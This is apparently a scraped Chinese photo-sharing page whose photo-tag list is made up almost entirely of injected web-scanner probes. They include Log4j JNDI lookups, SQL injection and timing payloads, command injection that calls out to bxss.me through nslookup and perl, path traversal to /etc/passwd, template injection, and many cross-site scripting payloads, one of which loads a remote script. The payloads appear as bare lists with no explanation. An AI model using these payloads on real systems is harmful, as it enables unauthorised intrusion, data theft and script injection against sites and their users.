×
照片标签：
- 爱燃烧 标记 1
- ${j${::-n}di:dns${::-:}//hitddlfwrbgbl447a9${::-.}bxss.me}zzzz
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.009247.5519-5051.5519.9f681${::-.}1${::-.}bxss.me}}
- 31SOxgmQ
- -1 OR 2+472-472-1=0+0+0+1 --
- -1 OR 2+673-673-1=0+0+0+1
- -1' OR 2+819-819-1=0+0+0+1 --
- -1' OR 2+171-171-1=0+0+0+1 or '950CbVYU'='
- -1" OR 2+898-898-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1
- -1)
- 1 waitfor delay '0:0:15' --
- response.write(9826163*9198586)
- '+response.write(9826163*9198586)+'
- "+response.write(9826163*9198586)+"
- s4G1HSaT'
- -5 OR 998=(SELECT 998 FROM PG_SLEEP(15))--
- -5) OR 654=(SELECT 654 FROM PG_SLEEP(15))--
- -1)) OR 529=(SELECT 529 FROM PG_SLEEP(15))--
- RgKlZq8F' OR 286=(SELECT 286 FROM PG_SLEEP(15))--
- Qrbg8vKF') OR 109=(SELECT 109 FROM PG_SLEEP(15))--
- 60o6kFXQ')) OR 510=(SELECT 510 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1 %2527%2522
- @@qAAck
- echo sgmqeb$()\ unfycw\nz^xyu||a #' &echo sgmqeb$()\ unfycw\nz^xyu||a #|" &echo sgmqeb$()\ unfycw\nz^xyu||a #
- &echo jyyaoy$()\ rcykgr\nz^xyu||a #' &echo jyyaoy$()\ rcykgr\nz^xyu||a #|" &echo jyyaoy$()\ rcykgr\nz^xyu||a #
- |echo qqrtgo$()\ qmdlmf\nz^xyu||a #' |echo qqrtgo$()\ qmdlmf\nz^xyu||a #|" |echo qqrtgo$()\ qmdlmf\nz^xyu||a #
- (nslookup hitnoxdiqwydqc2978.bxss.me||perl -e "gethostbyname('hitnoxdiqwydqc2978.bxss.me')")
- $(nslookup hitujwwigmhgj9da46.bxss.me||perl -e "gethostbyname('hitujwwigmhgj9da46.bxss.me')")
- &(nslookup hitggywbipudp637df.bxss.me||perl -e "gethostbyname('hitggywbipudp637df.bxss.me')")&'\"`0&(nslookup hitggywbipudp637df.bxss.me||perl -e "gethostbyname('hitggywbipudp637df.bxss.me')")&`'
- |(nslookup hitzpgovnwkfea8aa4.bxss.me||perl -e "gethostbyname('hitzpgovnwkfea8aa4.bxss.me')")
- `(nslookup hittdjchdxwowe21e1.bxss.me||perl -e "gethostbyname('hittdjchdxwowe21e1.bxss.me')")`
- gPf0dRi3
- ../../../../../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../windows/win.ini
- ../1
- 12345'"\'\")
- 1<esi:include src="http://bxss.me/rpb.png"/>
- ${9999026+9999381}
- 1&n982052=v938060
- )
- !(()&&!|*|*|
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- ^(#$!@#$)(()))******
- '.gethostbyname(lc('hitdb'.'djjymurn69059.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(74).chr(122).chr(65).'
- ".gethostbyname(lc("hitlx"."evbhlfoe019da.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(72).chr(99).chr(81)."
- '"()
- '
- "
- 1some_inexistent_file_with_long_name .jpg
- HttP://bxss.me/t/xss.html?%00
- Http://bxss.me/t/fit.txt
- http://bxss.me/t/fit.txt?.jpg
- bxss.me
- bxss.me/t/xss.html?%00
- ${@print(md5(31337))}
- ${@print(md5(31337))}\
- '.print(md5(31337)).'
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- /xfs.bxss.me
- bibs
- bibs/.
- '"
- <!--
- "+"A".concat(70-3).concat(22*4).concat(111).concat(89).concat(100).concat(74)+(require"socket" Socket.gethostbyname("hitqj"+"dfgswymba3e47.bxss.me.")[3].to_s)+"
- 1'"()&%<acx><ScRiPt >y66J(9047)</ScRiPt>
- '+'A'.concat(70-3).concat(22*4).concat(109).concat(83).concat(113).concat(83)+(require'socket' Socket.gethostbyname('hitnl'+'jkohsnav35b9d.bxss.me.')[3].to_s)+'
- '"()&%<acx><ScRiPt >y66J(9139)</ScRiPt>
- 19792308
- acu7781＜s1﹥s2ʺs3ʹuca7781
- acux6892z1z2abcxuca6892
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu8333＜s1﹥s2ʺs3ʹuca8333
- acux4880z1z2abcxuca4880
- acu7035＜s1﹥s2ʺs3ʹuca7035
- acux4218z1z2abcxuca4218
- 1"onmouseover=y66J(95942)"
- 1" ygyz=y66J([!+!]) OjY="
- 1\u0022onmouseover=y66J(95333)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%79%36%36%4A%28%39%39%39%30%34%29%22
- "onmouseover=y66J(94325)//
- 1"sTYLe='acu:Expre/**/SSion(y66J(9211))'bad="
- 1"><script>y66J(9660)</script>
- 1<ScRiPt >y66J(9516)</ScRiPt>
- 1<WO8HNP>VOG62[!+!]</WO8HNP>
- 1<script>y66J(9399)</script>
- 1<ScR<ScRiPt>IpT>y66J(9286)</sCr<ScRiPt>IpT>
- 1<ScRiPt >y66J(9817)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9114></ScRiPt>
- 1< ScRiPt >y66J(9879)</ScRiPt>
- 1<svg onload=y66J(9705)
- 1<isindex type=image src=1 onerror=y66J(9289)>
- 1<iframe src='data:text/html
- 1<body onload=y66J(9777)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=y66J(9880)>
- 1<img src=xyz OnErRor=y66J(9916)>
- 1<img/src=">" onerror=alert(9146)>
- %31%3C%53%63%52%69%50%74%20%3E%79%36%36%4A%289111%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\y66J(9150)\u003C/sCripT\u003E
- 1<
- <img acu onmouseover=y66J(98061) //>
- 1<input autofocus onfocus=y66J(9749)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(y66J(9507))}
- 1EOFah <ScRiPt >y66J(9844)</ScRiPt>
- 1<WLKIKY>CKJ1G[!+!]</WLKIKY>
- 1<ifRAme sRc=9266.com></IfRamE>
- 1<aasAfVm x=9088>
- 1<img sRc='http://attacker-9087/log.php?
- 1<aubXVJD<
微信扫一扫, 保存到手机
